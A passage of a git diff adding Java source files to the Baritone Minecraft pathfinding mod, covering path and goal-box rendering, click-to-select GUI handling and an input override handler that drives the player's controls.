BaritoneAPI.getProvider().getPrimaryBaritone().getSelectionManager().removeAllSelections(); + BaritoneAPI.getProvider().getPrimaryBaritone().getSelectionManager().addSelection(BetterBlockPos.from(clickStart), BetterBlockPos.from(currentMouseOver)); + TextComponent component = new StringTextComponent("Selection made! For usage: " + Baritone.settings().prefix.value + "help sel"); + component.setStyle(component.getStyle() + .setFormatting(TextFormatting.WHITE) + .setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + FORCE_COMMAND_PREFIX + "help sel" + ))); + Helper.HELPER.logDirect(component); + clickStart = null; + } else { + BaritoneAPI.getProvider().getPrimaryBaritone().getCustomGoalProcess().setGoalAndPath(new GoalBlock(currentMouseOver)); + } + } else if (mouseButton == 1) { + BaritoneAPI.getProvider().getPrimaryBaritone().getCustomGoalProcess().setGoalAndPath(new GoalBlock(currentMouseOver.up())); + } + } + clickStart = null; + return super.mouseReleased(mouseX, mouseY, mouseButton); + } + + @Override + public boolean mouseClicked(double mouseX, double mouseY, int mouseButton) { + clickStart = currentMouseOver; + return super.mouseClicked(mouseX, mouseY, mouseButton); + } + + public void onRender(MatrixStack modelViewStack, Matrix4f projectionMatrix) { + this.projectionViewMatrix = projectionMatrix.copy(); + this.projectionViewMatrix.mul(modelViewStack.getLast().getMatrix()); + this.projectionViewMatrix.invert(); + + if (currentMouseOver != null) { + Entity e = mc.getRenderViewEntity(); + // drawSingleSelectionBox WHEN? + PathRenderer.drawManySelectionBoxes(modelViewStack, e, Collections.singletonList(currentMouseOver), Color.CYAN); + if (clickStart != null && !clickStart.equals(currentMouseOver)) { + IRenderer.startLines(Color.RED, Baritone.settings().pathRenderLineWidthPixels.value, true); + BetterBlockPos a = new BetterBlockPos(currentMouseOver); + BetterBlockPos b = new BetterBlockPos(clickStart); + IRenderer.emitAABB(modelViewStack, new AxisAlignedBB(Math.min(a.x, b.x), Math.min(a.y, b.y), Math.min(a.z, b.z), Math.max(a.x, b.x) + 1, Math.max(a.y, b.y) + 1, Math.max(a.z, b.z) + 1)); + IRenderer.endLines(true); + } + } + } + + private Vector3d toWorld(double x, double y, double z) { + if (this.projectionViewMatrix == null) { + return null; + } + + x /= mc.getMainWindow().getFramebufferWidth(); + y /= mc.getMainWindow().getFramebufferHeight(); + x = x * 2 - 1; + y = y * 2 - 1; + + Vector4f pos = new Vector4f((float) x, (float) y, (float) z, 1.0F); + pos.transform(this.projectionViewMatrix); + if (pos.getW() == 0) { + return null; + } + + pos.perspectiveDivide(); + return new Vector3d(pos.getX(), pos.getY(), pos.getZ()); + } +} diff --git a/src/baritone/utils/IRenderer.java b/src/baritone/utils/IRenderer.java new file mode 100644 index 00000000..a2665c45 --- /dev/null +++ b/src/baritone/utils/IRenderer.java @@ -0,0 +1,126 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.api.BaritoneAPI; +import baritone.api.Settings; +import baritone.utils.accessor.IEntityRenderManager; +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.BufferBuilder; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.texture.TextureManager; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.vector.Matrix4f; + +import java.awt.*; + +import static org.lwjgl.opengl.GL11.*; + +public interface IRenderer { + + Tessellator tessellator = Tessellator.getInstance(); + BufferBuilder buffer = tessellator.getBuffer(); + IEntityRenderManager renderManager = (IEntityRenderManager) Minecraft.getInstance().getRenderManager(); + TextureManager textureManager = Minecraft.getInstance().getTextureManager(); + Settings settings = BaritoneAPI.getSettings(); + + float[] color = new float[] {1.0F, 1.0F, 1.0F, 255.0F}; + + static void glColor(Color color, float alpha) { + float[] colorComponents = color.getColorComponents(null); + IRenderer.color[0] = colorComponents[0]; + IRenderer.color[1] = colorComponents[1]; + IRenderer.color[2] = colorComponents[2]; + IRenderer.color[3] = alpha; + } + + static void startLines(Color color, float alpha, float lineWidth, boolean ignoreDepth) { + RenderSystem.enableBlend(); + RenderSystem.blendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO); + glColor(color, alpha); + RenderSystem.lineWidth(lineWidth); + RenderSystem.disableTexture(); + RenderSystem.depthMask(false); + + if (ignoreDepth) { + RenderSystem.disableDepthTest(); + } + buffer.begin(GL_LINES, DefaultVertexFormats.POSITION_COLOR); + } + + static void startLines(Color color, float lineWidth, boolean ignoreDepth) { + startLines(color, .4f, lineWidth, ignoreDepth); + } + + static void endLines(boolean ignoredDepth) { + tessellator.draw(); + if (ignoredDepth) { + RenderSystem.enableDepthTest(); + } + + RenderSystem.depthMask(true); + RenderSystem.enableTexture(); + RenderSystem.disableBlend(); + } + + static void emitAABB(MatrixStack stack, AxisAlignedBB aabb) { + AxisAlignedBB toDraw = aabb.offset(-renderManager.renderPosX(), -renderManager.renderPosY(), -renderManager.renderPosZ()); + + Matrix4f matrix4f = stack.getLast().getMatrix(); + // bottom + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.minY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.minY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.minY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.minY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.minY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.minY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.minY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.minY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + // top + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.maxY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.maxY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.maxY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.maxY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.maxY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.maxY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.maxY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.maxY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + // corners + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.minY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.maxY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.minY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.maxY, (float) toDraw.minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.minY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.maxX, (float) toDraw.maxY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.minY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) toDraw.minX, (float) toDraw.maxY, (float) toDraw.maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + } + + static void emitAABB(MatrixStack stack, AxisAlignedBB aabb, double expand) { + emitAABB(stack, aabb.grow(expand, expand, expand)); + } + + static void drawAABB(MatrixStack stack, AxisAlignedBB aabb) { + buffer.begin(GL_LINES, DefaultVertexFormats.POSITION_COLOR); + emitAABB(stack, aabb); + tessellator.draw(); + } +} diff --git a/src/baritone/utils/InputOverrideHandler.java b/src/baritone/utils/InputOverrideHandler.java new file mode 100644 index 00000000..f110b9ce --- /dev/null +++ b/src/baritone/utils/InputOverrideHandler.java @@ -0,0 +1,122 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.event.events.TickEvent; +import baritone.api.utils.IInputOverrideHandler; +import baritone.api.utils.input.Input; +import baritone.behavior.Behavior; +import net.minecraft.util.MovementInputFromOptions; + +import java.util.HashMap; +import java.util.Map; + +/** + * An interface with the game's control system allowing the ability to + * force down certain controls, having the same effect as if we were actually + * physically forcing down the assigned key. + * + * @author Brady + * @since 7/31/2018 + */ +public final class InputOverrideHandler extends Behavior implements IInputOverrideHandler { + + /** + * Maps inputs to whether or not we are forcing their state down. + */ + private final Map inputForceStateMap = new HashMap<>(); + + private final BlockBreakHelper blockBreakHelper; + private final BlockPlaceHelper blockPlaceHelper; + + public InputOverrideHandler(Baritone baritone) { + super(baritone); + this.blockBreakHelper = new BlockBreakHelper(baritone.getPlayerContext()); + this.blockPlaceHelper = new BlockPlaceHelper(baritone.getPlayerContext()); + } + + /** + * Returns whether or not we are forcing down the specified {@link Input}. + * + * @param input The input + * @return Whether or not it is being forced down + */ + @Override + public final boolean isInputForcedDown(Input input) { + return input == null ? false : this.inputForceStateMap.getOrDefault(input, false); + } + + /** + * Sets whether or not the specified {@link Input} is being forced down. + * + * @param input The {@link Input} + * @param forced Whether or not the state is being forced + */ + @Override + public final void setInputForceState(Input input, boolean forced) { + this.inputForceStateMap.put(input, forced); + } + + /** + * Clears the override state for all keys + */ + @Override + public final void clearAllKeys() { + this.inputForceStateMap.clear(); + } + + @Override + public final void onTick(TickEvent event) { + if (event.getType() == TickEvent.Type.OUT) { + return; + } + if (isInputForcedDown(Input.CLICK_LEFT)) { + setInputForceState(Input.CLICK_RIGHT, false); + } + blockBreakHelper.tick(isInputForcedDown(Input.CLICK_LEFT)); + blockPlaceHelper.tick(isInputForcedDown(Input.CLICK_RIGHT)); + + if (inControl()) { + if (ctx.player().movementInput.getClass() != PlayerMovementInput.class) { + ctx.player().movementInput = new PlayerMovementInput(this); + } + } else { + if (ctx.player().movementInput.getClass() == PlayerMovementInput.class) { // allow other movement inputs that aren't this one, e.g. for a freecam + ctx.player().movementInput = new MovementInputFromOptions(ctx.minecraft().gameSettings); + } + } + // only set it if it was previously incorrect + // gotta do it this way, or else it constantly thinks you're beginning a double tap W sprint lol + } + + private boolean inControl() { + for (Input input : new Input[]{Input.MOVE_FORWARD, Input.MOVE_BACK, Input.MOVE_LEFT, Input.MOVE_RIGHT, Input.SNEAK}) { + if (isInputForcedDown(input)) { + return true; + } + } + // if we are not primary (a bot) we should set the movementinput even when idle (not pathing) + return baritone.getPathingBehavior().isPathing() || baritone != BaritoneAPI.getProvider().getPrimaryBaritone(); + } + + public BlockBreakHelper getBlockBreakHelper() { + return blockBreakHelper; + } +} diff --git a/src/baritone/utils/PathRenderer.java b/src/baritone/utils/PathRenderer.java new file mode 100644 index 00000000..52c6d7a8 --- /dev/null +++ b/src/baritone/utils/PathRenderer.java @@ -0,0 +1,371 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.api.BaritoneAPI; +import baritone.api.event.events.RenderEvent; +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.goals.*; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.IPlayerContext; +import baritone.api.utils.interfaces.IGoalRenderPos; +import baritone.behavior.PathingBehavior; +import baritone.pathing.path.PathExecutor; +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import net.minecraft.block.BlockState; +import net.minecraft.client.renderer.tileentity.BeaconTileEntityRenderer; +import net.minecraft.entity.Entity; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.math.shapes.VoxelShape; +import net.minecraft.util.math.shapes.VoxelShapes; +import net.minecraft.util.math.vector.Matrix4f; +import net.minecraft.world.DimensionType; + +import java.awt.*; +import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.List; + +import static org.lwjgl.opengl.GL11.*; + +/** + * @author Brady + * @since 8/9/2018 + */ +public final class PathRenderer implements IRenderer { + + private static final ResourceLocation TEXTURE_BEACON_BEAM = new ResourceLocation("textures/entity/beacon_beam.png"); + + + private PathRenderer() {} + + public static double posX() { + return renderManager.renderPosX(); + } + + public static double posY() { + return renderManager.renderPosY(); + } + + public static double posZ() { + return renderManager.renderPosZ(); + } + + public static void render(RenderEvent event, PathingBehavior behavior) { + final IPlayerContext ctx = behavior.ctx; + if (ctx.world() == null) { + return; + } + if (ctx.minecraft().currentScreen instanceof GuiClick) { + ((GuiClick) ctx.minecraft().currentScreen).onRender(event.getModelViewStack(), event.getProjectionMatrix()); + } + + final float partialTicks = event.getPartialTicks(); + final Goal goal = behavior.getGoal(); + + final DimensionType thisPlayerDimension = ctx.world().getDimensionType(); + final DimensionType currentRenderViewDimension = BaritoneAPI.getProvider().getPrimaryBaritone().getPlayerContext().world().getDimensionType(); + + if (thisPlayerDimension != currentRenderViewDimension) { + // this is a path for a bot in a different dimension, don't render it + return; + } + + if (goal != null && settings.renderGoal.value) { + drawGoal(event.getModelViewStack(), ctx, goal, partialTicks, settings.colorGoalBox.value); + } + + if (!settings.renderPath.value) { + return; + } + + PathExecutor current = behavior.getCurrent(); // this should prevent most race conditions? + PathExecutor next = behavior.getNext(); // like, now it's not possible for current!=null to be true, then suddenly false because of another thread + if (current != null && settings.renderSelectionBoxes.value) { + drawManySelectionBoxes(event.getModelViewStack(), ctx.player(), current.toBreak(), settings.colorBlocksToBreak.value); + drawManySelectionBoxes(event.getModelViewStack(), ctx.player(), current.toPlace(), settings.colorBlocksToPlace.value); + drawManySelectionBoxes(event.getModelViewStack(), ctx.player(), current.toWalkInto(), settings.colorBlocksToWalkInto.value); + } + + //drawManySelectionBoxes(player, Collections.singletonList(behavior.pathStart()), partialTicks, Color.WHITE); + + // Render the current path, if there is one + if (current != null && current.getPath() != null) { + int renderBegin = Math.max(current.getPosition() - 3, 0); + drawPath(event.getModelViewStack(), current.getPath(), renderBegin, settings.colorCurrentPath.value, settings.fadePath.value, 10, 20); + } + + if (next != null && next.getPath() != null) { + drawPath(event.getModelViewStack(), next.getPath(), 0, settings.colorNextPath.value, settings.fadePath.value, 10, 20); + } + + // If there is a path calculation currently running, render the path calculation process + behavior.getInProgress().ifPresent(currentlyRunning -> { + currentlyRunning.bestPathSoFar().ifPresent(p -> { + drawPath(event.getModelViewStack(), p, 0, settings.colorBestPathSoFar.value, settings.fadePath.value, 10, 20); + }); + + currentlyRunning.pathToMostRecentNodeConsidered().ifPresent(mr -> { + drawPath(event.getModelViewStack(), mr, 0, settings.colorMostRecentConsidered.value, settings.fadePath.value, 10, 20); + drawManySelectionBoxes(event.getModelViewStack(), ctx.player(), Collections.singletonList(mr.getDest()), settings.colorMostRecentConsidered.value); + }); + }); + } + + private static void drawPath(MatrixStack stack, IPath path, int startIndex, Color color, boolean fadeOut, int fadeStart0, int fadeEnd0) { + IRenderer.startLines(color, settings.pathRenderLineWidthPixels.value, settings.renderPathIgnoreDepth.value); + + int fadeStart = fadeStart0 + startIndex; + int fadeEnd = fadeEnd0 + startIndex; + + List positions = path.positions(); + for (int i = startIndex, next; i < positions.size() - 1; i = next) { + BetterBlockPos start = positions.get(i); + BetterBlockPos end = positions.get(next = i + 1); + + int dirX = end.x - start.x; + int dirY = end.y - start.y; + int dirZ = end.z - start.z; + + while (next + 1 < positions.size() && (!fadeOut || next + 1 < fadeStart) && + (dirX == positions.get(next + 1).x - end.x && + dirY == positions.get(next + 1).y - end.y && + dirZ == positions.get(next + 1).z - end.z)) { + end = positions.get(++next); + } + + if (fadeOut) { + float alpha; + + if (i <= fadeStart) { + alpha = 0.4F; + } else { + if (i > fadeEnd) { + break; + } + alpha = 0.4F * (1.0F - (float) (i - fadeStart) / (float) (fadeEnd - fadeStart)); + } + IRenderer.glColor(color, alpha); + } + + emitLine(stack, start.x, start.y, start.z, end.x, end.y, end.z); + } + + IRenderer.endLines(settings.renderPathIgnoreDepth.value); + } + + private static void emitLine(MatrixStack stack, double x1, double y1, double z1, double x2, double y2, double z2) { + Matrix4f matrix4f = stack.getLast().getMatrix(); + double vpX = posX(); + double vpY = posY(); + double vpZ = posZ(); + boolean renderPathAsFrickinThingy = !settings.renderPathAsLine.value; + + buffer.pos(matrix4f, (float) (x1 + 0.5D - vpX), (float) (y1 + 0.5D - vpY), (float) (z1 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) (x2 + 0.5D - vpX), (float) (y2 + 0.5D - vpY), (float) (z2 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + + if (renderPathAsFrickinThingy) { + buffer.pos(matrix4f, (float) (x2 + 0.5D - vpX), (float) (y2 + 0.5D - vpY), (float) (z2 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) (x2 + 0.5D - vpX), (float) (y2 + 0.53D - vpY), (float) (z2 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + + buffer.pos(matrix4f, (float) (x2 + 0.5D - vpX), (float) (y2 + 0.53D - vpY), (float) (z2 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) (x1 + 0.5D - vpX), (float) (y1 + 0.53D - vpY), (float) (z1 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + + buffer.pos(matrix4f, (float) (x1 + 0.5D - vpX), (float) (y1 + 0.53D - vpY), (float) (z1 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) (x1 + 0.5D - vpX), (float) (y1 + 0.5D - vpY), (float) (z1 + 0.5D - vpZ)).color(color[0], color[1], color[2], color[3]).endVertex(); + } + } + + public static void drawManySelectionBoxes(MatrixStack stack, Entity player, Collection positions, Color color) { + IRenderer.startLines(color, settings.pathRenderLineWidthPixels.value, settings.renderSelectionBoxesIgnoreDepth.value); + + //BlockPos blockpos = movingObjectPositionIn.getBlockPos(); + BlockStateInterface bsi = new BlockStateInterface(BaritoneAPI.getProvider().getPrimaryBaritone().getPlayerContext()); // TODO this assumes same dimension between primary baritone and render view? is this safe? + + positions.forEach(pos -> { + BlockState state = bsi.get0(pos); + VoxelShape shape = state.getShape(player.world, pos); + AxisAlignedBB toDraw = shape.isEmpty() ? VoxelShapes.fullCube().getBoundingBox() : shape.getBoundingBox(); + toDraw = toDraw.offset(pos); + IRenderer.emitAABB(stack, toDraw, .002D); + }); + + IRenderer.endLines(settings.renderSelectionBoxesIgnoreDepth.value); + } + + private static void drawGoal(MatrixStack stack, IPlayerContext ctx, Goal goal, float partialTicks, Color color) { + drawGoal(stack, ctx, goal, partialTicks, color, true); + } + + private static void drawGoal(MatrixStack stack, IPlayerContext ctx, Goal goal, float partialTicks, Color color, boolean setupRender) { + double renderPosX = posX(); + double renderPosY = posY(); + double renderPosZ = posZ(); + double minX, maxX; + double minZ, maxZ; + double minY, maxY; + double y, y1, y2; + if (!settings.renderGoalAnimated.value) { + // y = 1 causes rendering issues when the player is at the same y as the top of a block for some reason + y = 0.999F; + } else { + y = MathHelper.cos((float) (((float) ((System.nanoTime() / 100000L) % 20000L)) / 20000F * Math.PI * 2)); + } + if (goal instanceof IGoalRenderPos) { + BlockPos goalPos = ((IGoalRenderPos) goal).getGoalPos(); + minX = goalPos.getX() + 0.002 - renderPosX; + maxX = goalPos.getX() + 1 - 0.002 - renderPosX; + minZ = goalPos.getZ() + 0.002 - renderPosZ; + maxZ = goalPos.getZ() + 1 - 0.002 - renderPosZ; + if (goal instanceof GoalGetToBlock || goal instanceof GoalTwoBlocks) { + y /= 2; + } + y1 = 1 + y + goalPos.getY() - renderPosY; + y2 = 1 - y + goalPos.getY() - renderPosY; + minY = goalPos.getY() - renderPosY; + maxY = minY + 2; + if (goal instanceof GoalGetToBlock || goal instanceof GoalTwoBlocks) { + y1 -= 0.5; + y2 -= 0.5; + maxY--; + } + drawDankLitGoalBox(stack, color, minX, maxX, minZ, maxZ, minY, maxY, y1, y2, setupRender); + } else if (goal instanceof GoalXZ) { + GoalXZ goalPos = (GoalXZ) goal; + + if (settings.renderGoalXZBeacon.value) { + glPushAttrib(GL_LIGHTING_BIT); + + textureManager.bindTexture(TEXTURE_BEACON_BEAM); + if (settings.renderGoalIgnoreDepth.value) { + RenderSystem.disableDepthTest(); + } + + stack.push(); // push + stack.translate(goalPos.getX() - renderPosX, -renderPosY, goalPos.getZ() - renderPosZ); // translate + + BeaconTileEntityRenderer.renderBeamSegment( + stack, + ctx.minecraft().getRenderTypeBuffers().getBufferSource(), + TEXTURE_BEACON_BEAM, + settings.renderGoalAnimated.value ? partialTicks : 0, + 1.0F, + settings.renderGoalAnimated.value ? ctx.world().getGameTime() : 0, + 0, + 256, + color.getColorComponents(null), + + // Arguments filled by the private method lol + 0.2F, + 0.25F + ); + + stack.pop(); // pop + + if (settings.renderGoalIgnoreDepth.value) { + RenderSystem.enableDepthTest(); + } + + glPopAttrib(); + return; + } + + minX = goalPos.getX() + 0.002 - renderPosX; + maxX = goalPos.getX() + 1 - 0.002 - renderPosX; + minZ = goalPos.getZ() + 0.002 - renderPosZ; + maxZ = goalPos.getZ() + 1 - 0.002 - renderPosZ; + + y1 = 0; + y2 = 0; + minY = 0 - renderPosY; + maxY = 256 - renderPosY; + drawDankLitGoalBox(stack, color, minX, maxX, minZ, maxZ, minY, maxY, y1, y2, setupRender); + } else if (goal instanceof GoalComposite) { + // Simple way to determine if goals can be batched, without having some sort of GoalRenderer + boolean batch = Arrays.stream(((GoalComposite) goal).goals()).allMatch(IGoalRenderPos.class::isInstance); + + if (batch) { + IRenderer.startLines(color, settings.goalRenderLineWidthPixels.value, settings.renderGoalIgnoreDepth.value); + } + for (Goal g : ((GoalComposite) goal).goals()) { + drawGoal(stack, ctx, g, partialTicks, color, !batch); + } + if (batch) { + IRenderer.endLines(settings.renderGoalIgnoreDepth.value); + } + } else if (goal instanceof GoalInverted) { + drawGoal(stack, ctx, ((GoalInverted) goal).origin, partialTicks, settings.colorInvertedGoalBox.value); + } else if (goal instanceof GoalYLevel) { + GoalYLevel goalpos = (GoalYLevel) goal; + minX = ctx.player().getPositionVec().x - settings.yLevelBoxSize.value - renderPosX; + minZ = ctx.player().getPositionVec().z - settings.yLevelBoxSize.value - renderPosZ; + maxX = ctx.player().getPositionVec().x + settings.yLevelBoxSize.value - renderPosX; + maxZ = ctx.player().getPositionVec().z + settings.yLevelBoxSize.value - renderPosZ; + minY = ((GoalYLevel) goal).level - renderPosY; + maxY = minY + 2; + y1 = 1 + y + goalpos.level - renderPosY; + y2 = 1 - y + goalpos.level - renderPosY; + drawDankLitGoalBox(stack, color, minX, maxX, minZ, maxZ, minY, maxY, y1, y2, setupRender); + } + } + + private static void drawDankLitGoalBox(MatrixStack stack, Color colorIn, double minX, double maxX, double minZ, double maxZ, double minY, double maxY, double y1, double y2, boolean setupRender) { + if (setupRender) { + IRenderer.startLines(colorIn, settings.goalRenderLineWidthPixels.value, settings.renderGoalIgnoreDepth.value); + } + + renderHorizontalQuad(stack, minX, maxX, minZ, maxZ, y1); + renderHorizontalQuad(stack, minX, maxX, minZ, maxZ, y2); + + Matrix4f matrix4f = stack.getLast().getMatrix(); + buffer.pos(matrix4f, (float) minX, (float) minY, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) minX, (float) maxY, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) maxX, (float) minY, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) maxX, (float) maxY, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) maxX, (float) minY, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) maxX, (float) maxY, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) minX, (float) minY, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) minX, (float) maxY, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + + if (setupRender) { + IRenderer.endLines(settings.renderGoalIgnoreDepth.value); + } + } + + private static void renderHorizontalQuad(MatrixStack stack, double minX, double maxX, double minZ, double maxZ, double y) { + if (y != 0) { + Matrix4f matrix4f = stack.getLast().getMatrix(); + buffer.pos(matrix4f, (float) minX, (float) y, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) maxX, (float) y, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + + buffer.pos(matrix4f, (float) maxX, (float) y, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) maxX, (float) y, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + + buffer.pos(matrix4f, (float) maxX, (float) y, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) minX, (float) y, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + + buffer.pos(matrix4f, (float) minX, (float) y, (float) maxZ).color(color[0], color[1], color[2], color[3]).endVertex(); + buffer.pos(matrix4f, (float) minX, (float) y, (float) minZ).color(color[0], color[1], color[2], color[3]).endVertex(); + } + } +} diff --git a/src/baritone/utils/PathingCommandContext.java b/src/baritone/utils/PathingCommandContext.java new file mode 100644 index 00000000..c43166e9 --- /dev/null +++ b/src/baritone/utils/PathingCommandContext.java @@ -0,0 +1,33 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.api.pathing.goals.Goal; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.pathing.movement.CalculationContext; + +public class PathingCommandContext extends PathingCommand { + + public final CalculationContext desiredCalcContext; + + public PathingCommandContext(Goal goal, PathingCommandType commandType, CalculationContext context) { + super(goal, commandType); + this.desiredCalcContext = context; + } +} diff --git a/src/baritone/utils/PathingControlManager.java b/src/baritone/utils/PathingControlManager.java new file mode 100644 index 00000000..236e41cc --- /dev/null +++ b/src/baritone/utils/PathingControlManager.java @@ -0,0 +1,217 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + 